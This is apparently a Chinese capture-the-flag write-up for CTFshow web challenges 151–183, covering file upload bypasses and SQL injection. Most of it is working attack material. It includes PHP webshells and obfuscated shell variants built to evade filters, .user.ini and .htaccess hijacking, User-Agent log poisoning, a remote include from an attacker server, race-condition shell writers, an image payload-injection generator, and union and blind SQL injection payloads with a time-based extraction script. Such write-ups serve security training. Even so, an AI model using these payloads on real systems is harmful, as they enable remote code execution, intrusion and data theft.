CTFshow-WEB151-278

文件上传

Web151

简单的前台校验

1
2
3
4
5
6
7
8
9
10
11
POST /upload.php HTTP/1.1

------WebKitFormBoundaryvMSd1VAMNAg5fJbT
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?php
eval($_POST["pass"]);

------WebKitFormBoundaryvMSd1VAMNAg5fJbT--

上传1.png文件后门文件然后改后缀为php


Web152

类似151题


Web153

传.png抓包改.php

显示文件上传失败,失败原因:文件类型不合规

猜测过滤了php

尝试大小写绕过过滤,可以上传但是无法连接

url上输入 /upload/

显示了nothing here表示可以用配置文件(因为upload目录下有php文件)

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

.user.ini配置文件是PHP的,可以在全部环境里生效。

1
auto_prepend_file = 1.png

上传抓包改名为.user.ini

在1.png中插入一句话木马,上传

访问upload/index.php

哥斯拉或者蚁剑连接

参考链接

https://blog.csdn.net/cosmoslin/article/details/120793126


Web154

对文件后缀过滤,大小写绕过失败

对上传文件内容进行过滤

上传木马会直接拦截

发现可以对木马内容的php进行大小写绕过Php PhP pHp………

1
2
<?Php
eval($_POST["pass"]);

上传成功

类似153

连接或者发post

1
pass=system("tac ../flag.php");

Web155

存在配置文件绕过

先上传.user.ini

然后木马文件进行绕过

大小写绕过失败

可以直接将php删除然后上传

1
2
3
<?
eval($_POST["pass"]);

成功得到flag


Web156

存在配置文件绕过

先上传.user.ini

然后木马文件进行绕过

上一题的方法失效

测试可知对[]存在过滤

可以用{}代替掉[]而达到绕过的效果

1
2
<?
eval($_POST{"pass"});

Web157

存在配置文件绕过

先上传.user.ini

然后木马文件进行绕过

测试可知对[],{};存在过滤

基本无法上传木马,可以尝试命令执行

1
2
3
<?
system("tac ../fla*")
?>

Web158

存在配置文件绕过

先上传.user.ini

类似157


Web159

存在配置文件绕过

先上传.user.ini

增加过滤()

无法调用所有的函数了,但是能利用php特性,命令执行可以用``(反引号包涵)

1
<?=`nl ../fl*`?>

Web160

存在配置文件绕过

但是发现上传.user.ini失败

后面发现过滤了空格

所以需将所有空格删除

禁用``{}()[];等字符,单双引号可以使用;

尝试文件包含,过滤log关键字;

利用双引号拼接

构造payload,接着日志包含

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

可以看到包含日志成功,密密麻麻的字符串中,可以发现有UA信息,也就是http请求头的user-agent,所以可以把后门或者是命令执行插入到user-agent,前面的配置文件会连带执行php,就能拿到flag了,在UA后面加上

1
<? system('tac ../flag.php')?>
1
2
3
4
5
6
7
8
9
10
POST /upload.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36<? system('tac ../flag.php')?>

------WebKitFormBoundaryB87WAVC3uyrdO0dK
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?=include"/var/lo"."g/nginx/access.lo"."g"?>
------WebKitFormBoundaryB87WAVC3uyrdO0dK--

其他方法

对于.user.ini包含的1.png

1
2
3
4
5
6
------WebKitFormBoundaryB87WAVC3uyrdO0dK
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
------WebKitFormBoundaryB87WAVC3uyrdO0dK--

文件包含伪协议


Web161

前端存在限制,只允许上传png文件

1
2
3
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">
<i class="layui-icon"></i>上传图片
</button>

直接上传配置文件失效

尝试在auto_prepend_file=1.png前增加GIF89a发现上传成功

对于上传1.png类似需要在数据前增加GIF89a

可以直接文件包含伪协议

1
2
3
4
5
6
7
------WebKitFormBoundaryB87WAVC3uyrdO0dK
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

GIF89a
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
------WebKitFormBoundaryB87WAVC3uyrdO0dK--

Web162

GIF89a被过滤

扫字典发现文件内容中.被过滤

1
auto_prepend_file=mm

在自己vps写上一句话木马。然后将ip转为长地址,include包含,在连接/upload/index.php。

上传mm.png文件

1
2
GIF89a
<?=include"http://ip的长地址/ma的路径"?>

附:python ip地址、长整形互相转换

1
2
3
4
5
6
7
8
// IP转换为长整型
def ip2long(ip):
ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
result = 0
for i in range(4): #0,1,2,3
result = result+int(ip_list[i])*256**(3-i)
return result

1
2
3
4
5
6
7
8
9
10
// 长整型转换为IP
def long2ip(long):
floor_list = []
num = long
for i in reversed(range(4)):
res = divmod(num,256**i)
floor_list.append(str(res[0]))
num = res[1]
return '.'.join(floor_list)


Web163

上传图片后,会被删除,所以需要在上传的瞬间,就post命令执行。

方法一

直接在配置文件里远程包含,然后访问/upload/index.php。

(要求服务器开启了远程包含选项)

1
2
3
4
5
#.user.ini

GIF89a
auto_prepend_file=http://ip的长地址/ma的路径

方法二:竞争上传,竞争环境都是半夜开
大概是这样的:上传一个php文件,这个php文件会短暂的存在上传目录下。

文件上传到服务器,服务器会对文件的合法性进行检测,不合法再删除。如果在被删除之前,我们不停的去访问这个文件,我们有可能访问到上传的文件,并且执行。

1
2
3
4
<?php
$f=fopen("7.php","w");
fputs($f,'<?php eval($_POST[7]);?>');?>

只要访问到,就能写入木马。
这里就可以写脚本爆破,或者用burp爆破了。一个不停上传,一个不停的访问,知道访问成功,木马也就写进去了。


Web164

配置文件方法不再适用

对文件内容进行限制

击查看图片发现页面跳转,对正常上传的图片名字进行了md5加密,同时图片显示。

存在二次渲染

二次渲染:

网站服务器会对上传的图片进行二次处理,对文件内容进行替换更新,根据原有图片生成一个新的图片,这样就会改变文件原有的一些内容,我们需要将一句话木马插入到数据不会被改变的位置,确保一句话木马不会受到二次渲染的影响。

生成图片马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./my.png');
?>
#<?=$_GET[0]($_POST[1]);?>

上传

get &0=system

post 1=tac flag.php

建议抓hackbar里边的包然后再重放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /download.php?image=db94064d6001c8ebbd832d00f278f83f.png&0=system HTTP/1.1
Host: 71d4fa4c-6d0b-483b-8927-e014c3d1389e.challenge.ctf.show
Content-Length: 14
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: https://71d4fa4c-6d0b-483b-8927-e014c3d1389e.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://71d4fa4c-6d0b-483b-8927-e014c3d1389e.challenge.ctf.show/download.php?image=db94064d6001c8ebbd832d00f278f83f.png
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: keep-alive

1=tac flag.php

Web165

jpg二次渲染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

写入.jpg图片然后命令执行

jpg图片写入木马成功率低


Web166

经过测试发现上传点zip压缩文件上传,将木马文件修改后缀上传即可。

查看相应包(Response)发现上传文件被md5为9cbaef41bf7a14b248da322ef3fad136.zip

点击下载文件抓包

将访问文件的数据包抓取发现采用变量file,可能是文件包含

1
2
3
4
5
6
7
8
9
10
11
12
GET /upload/download.php?file=9cbaef41bf7a14b248da322ef3fad136.zip HTTP/1.1
Host: dc6a1eb7-c2ee-4a1c-8c6c-d5edd7f57a6d.challenge.ctf.show
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: keep-alive

改包为POST

然后命令执行

1
pass=system('tac ../flag.php');

Web167

前端限制只能上传jpg文件

访问/upload,报错apache,猜测存在.htaccess

经过测试上传文件必须为jpg后缀,通过题目提示httpd

先上传一个jpg文件,抓包修改名称为.htaccess

文件内容为:

1
2
3
AddType application/x-httpd-php .jpg   //将.jpg后缀的文件解析 成php
或者
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件

web167-01

再上传一句话的jpg文件

web167-02

上传成功访问/upload/1.jpg

hackbar post

1
1=system('tac ../f*');

Web168

经过测试发现,文件上传点将eval和system以及post和get过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
命令执行
<?php echo `tac ../flagaa.php`;?>

免杀
脚本1:
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令

脚本2:
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

//a=system&b=tac ../flagaa.php

脚本3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接

//把ls ../换成tac ../flagaa.php即可找到flag

脚本4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可

<?php
$a="s,y,s,t,e,m";
$b=explode(",",$a); 以','为分割符,将字符串拆分为数组
$c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['pass']);
?>

脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>

<?php
$a=substr("1sys",1)."tem"; 返回字符串中第一位以后的字符串
$a($_REQUEST['pass']);
?>

脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>

<?php
$a=strrev("metsys"); 反转字符串
$a($_REQUEST['pass'])
?>


脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php

Web169

前端限制上传.zip文件

经过检测,后台对’<’进行了检测,那么所有的php代码就不能上传了,但是php文件依旧可也上传,我们可以上传一个php后缀的文件,然后使用上传.user.ini的方法来进行日志包含,然后构造UA头进行访问即可得到flag

1
2
3
4
5
6
7
------WebKitFormBoundary6nBY8cS0R68w7K6r
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89A
auto_append_file=/var/log/nginx/access.log
------WebKitFormBoundary6nBY8cS0R68w7K6r--
1
2
3
4
5
6
7
UA头为:<?=eval($_POST[1]);?> 

------WebKitFormBoundary6nBY8cS0R68w7K6r
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

------WebKitFormBoundary6nBY8cS0R68w7K6r--

访问/upload/1.php

执行命令

1
2
1=system("ls ../");
1=system("tac ../flagaa.php");

Web170

类似169

上传zip文件

.user.ini需要加一个文件头

1
2
3
4
5
6
7
8

------WebKitFormBoundary6nBY8cS0R68w7K6r
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89A
auto_append_file=/var/log/nginx/access.log
------WebKitFormBoundary6nBY8cS0R68w7K6r--
1
2
3
4
5
6
7
8
UA头为:<?=eval($_POST[1]);?> 

------WebKitFormBoundary6nBY8cS0R68w7K6r
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

1
------WebKitFormBoundary6nBY8cS0R68w7K6r--
1
2
1=system("ls ../");
1=system("tac ../flagaa.php");

sql注入


Web171

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

1' or 1=1 --+

输出了所有的数据 此时sql语句为

1
$sql = "select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;";

select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;select username,password from user where username !='flag' and id = '1' or 1=1;

可以看到flag是存在于username为flag的用户的数据中,但是条件中username !='flag' and id='1' or 1=1才能select

已知and优先级高于or,所以先username !='flag' and id='1' or 1=1

所以假or真,结果为真,恒为真 所有的内容都会被输出

所有的user表中的username,password都被输出了,得到flag的内容

payload:

1
1' or 1 = 1 --+

Web172

看到查询时的url是/api/?id=

1
2
1' order by 1,2 --+ 	显示数据
1' order by 1,2,3 --+ 不显示数据

说明字段数有2个,存在注入

使用联合查询

查数据库版本以及数据库名

1
1' union select version(),database() --+
用户名 密码
10.3.18-MariaDB ctfshow_web
admin admin

查数据库的库名

1
1' union select 1,(select group_concat(schema_name) from information_schema.schemata) --+
用户名 密码
1 information_schema,test,mysql,performance_schema,ctfshow_web
admin admin

查库ctfshow_web的表名

1
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+
用户名 密码
1 ctfshow_user,ctfshow_user2
admin admin

查出ctfshow_web的表名存在ctfshow_user,ctfshow_user2

分别查这两个表的列名

ctfshow_user

1
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+
用户名 密码
1 id,username,password1
admin admin

查出ctfshow_web库中的表ctfshow_user的列名存在 id,username,password

查列的内容

1
1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user) --+
用户名 密码
1 admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,flag_not_here
admin admin

没有发现flag

ctfshow_user2

1
1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user2) --+
用户名 密码
1 admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{77c5560f-d8a9-4cc8-8216-c88728f02de6}
admin admin

发现flag


Web173

1
2
3
1' order by 1,2,3 --+ 		#有回显

1' order by 1,2,3,4 --+ #无回显

说明字段数有3个,存在注入

1
1' union select version(),database(),3 --+
ID 用户名 密码
1 admin admin
10.3.18-MariaDB ctfshow_web 3

直接查ctfshow_web中的表名

1
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+
ID 用户名 密码
1 admin admin
1 ctfshow_user,ctfshow_user2,ctfshow_user3 3

发现存在ctfshow_user,ctfshow_user2,ctfshow_user3个表名

分别查三个表的列

1
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'),3 --+

发现三个表的列都为id,username,password

查列的内容

1
1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user3),3 --+

拿到flag


Web174

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

根据提示,这里过滤了flag跟数字0-9,所以在查询id=2和id=3的时候会没有回显,所以本题有两种方法,一种是盲注,一种是直接绕过

1
1' order by 1,2 --+

测得数据段为2

方法一:字符串转化绕过

1
2
1' union select 'a','b' --+
-1' union select 'a','b' --+

存在注入点

查表名 类名类似前几题

这里主要问题为回显时会过滤数字,所以需要将数字过滤

替换规则映射(字母到数字):

replace_map = { ‘I’: ‘9’, ‘H’: ‘8’, ‘G’: ‘7’, ‘F’: ‘6’, ‘E’: ‘5’, ‘D’: ‘4’, ‘C’: ‘3’, ‘B’: ‘2’, ‘A’: ‘1’, ‘J’: ‘0’ }

1
2
3
4
1' union select 'a',REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,9,'I'),8,'H'),7,'G'),6,'F'),5,'E'),4,'D'),3,'C'),2,'B'),1,'A') ,0,'J') from ctfshow_user4 --+


-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' --+

得到flag为ctfshow{fICJEIHA-eGJH-DHEc-HIcb-fcbdIBBGGBHH}

或Y@CRmc@Bhvd@CtmOTMwNTk@DMS@AlNzA@DLTQ@DNWMtODljYi@AmY@BJkOTIyNzcyODh@I

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#脚本一:
import base64

flag64 = "ctfshow{fICJEIHA-eGJH-DHEc-HIcb-fcbdIBBGGBHH}"

flag = flag64.replace("A", "1").replace("B", "2").replace("C", "3").replace("D", "4").replace("E", "5").replace(
"F", "6").replace("G", "7").replace("H", "8").replace("I", "9").replace("J", "0")

print(flag)

#脚本二:
import base64

flag64 = " "

flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(base64.b64decode(flag))

#脚本三:
def replace_str(s):
print(s.replace('!', '1').replace('@', '2').replace('#', '3').replace('$', '4').replace('%', '5').replace('^', '6').replace('&', '7').replace('*', '8').replace('(', '9').replace(')', '0'))

flag=''
replace_str(flag)

Web175

查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
5
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

可以看到正则匹配中\xnn代表的是ascii码为十六进制nn的字符串,本关过滤掉了ascii从0到127的字符。

使用order by 判断字段数为2

1
1' and sleep(5) --+

5s后响应说明存在时间盲注

利用时间盲注跟写出文件来拿到flag

方法一:时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = ""
flag = ""
i = 0

while True:
i = i + 1
left = 32
right = 127
while left < right:
mid = (left + right) // 2
payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(2),0) -- -"
try:
res = requests.get(url=url + payload, timeout=0.6)
right = mid
except Exception as e:
left = mid + 1
if left != 32:
flag += chr(left)
print(flag)
else:
break

方法二:文件写入

看题解很多是这种方法,尝试未果。

1
-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/flag.txt' --+

Web176

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
1
1' order by 1,2,3 --+

判断数据段为三个

1
1' union select 1,2,3 --+

查询失败,测试可知大小写可以绕过

1
1' UNION SELECT 1,2,3 --+

查表名

1
2
3
4
1' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+

#指定数据库名
1' UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+

查内容

1
1' UNION SELECT 1,(SELECT group_concat(password) from ctfshow_web.ctfshow_user),3 --+

得到flag


Web177

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

经过测试,空格被滤掉,就相当于把注释符– 给过滤掉了,可以用/**/或者是%0a(回车)来绕过空格的过滤,%23(#)来绕过注释符的过滤,接着我们直接拿下flag

1
1'/**/order/**/by/**/1,2,3/**/%23

判断数据段为三个

1
1'/**/UNION/**/SELECT/**/1,(SELECT/**/group_concat(password)/**/from/**/ctfshow_web.ctfshow_user),3/**/%23

获取flag


Web178

跟上一题相比过滤掉了/**/注释符,但是能用回车(%0a)、括号、%09、%0c、%0d、%0b代替

1
1'%09order%09by%091,2,3%09%23

判断数据段为三个

1
1'%09UNION%09SELECT%091,(SELECT%09group_concat(password)%09from%09ctfshow_web.ctfshow_user),3%09%23

获取flag


Web179

过滤很多符号%0c能用

1
1'%0corder%0cby%0c1,2,3%0c%23

判断数据段为三个

1
1'%0cUNION%0cSELECT%0c1,(SELECT%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%0c%23

获取flag


Web180

%23被过滤
用闭合号来注释掉后面的语句’1’=’

1
1'%0corder%0cby%0c1,2,3,4%0cor'1'='

判断数据段为四个

1
2
3
4
5
'%0cUNION%0cSELECT%0c1,(SELECT%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%0cor'1'='

'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='

'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%0cor'1'='

获取flag


Web181

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

空格过滤了很多,select被过滤了。

mysql操作符优先级:(数字越大,优先级越高)|

优先级 运算符
1 :=
2 `
3 && , AND
4 NOT
5 BETWEEN, CASE, WHEN, THEN, ELSE
6 =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
7 `
8 &
9 <<, >>
10 -, +
11 *, /, DIV, %, MOD
12 ^
13 - (一元减号), ~ (一元比特反转)
14 !
15 BINARY, COLLATE

payload:

1
2
3
1'or(username)='flag
-1'||username='flag
0'||username='flag

非预期:

1
-1'%0cor%0cusername='flag

采用万能密码:

1
1'||1--%0c

Web182

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

增加过滤flag,可以使用通配符绕过

like可以用两个通配符(不区分大小写):

字符 说明
% 匹配任何数目的字符,甚至包括零字符
_ 只能匹配一种字符

payload:

1
2
3
-1'||(username)like'%fla%
-1'or(username)like'%fla%
0'||(username)like'%fla%

非预期:

采用万能密码:

1
2
1'||1--%0c
1'or(1)--%0c

Web183

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
5
6
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}


查询结果

1
2
//返回用户表的记录总数
$user_count = 0;

之前的GET传参改为了POST

waf过滤了select flag等等

select不能用,只能选择布尔盲注或者时间盲注。

这题的解法是在已知表名的情况下实现的,再结合模糊匹配like或者正则匹配regexp。
写脚本前先测试一下语句是否能正常执行,可以的话,再写到脚本里。

因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;,可以用布尔盲注。

1
2
3
tableName=`ctfshow_user`where`pass`like'ctfshow{%'

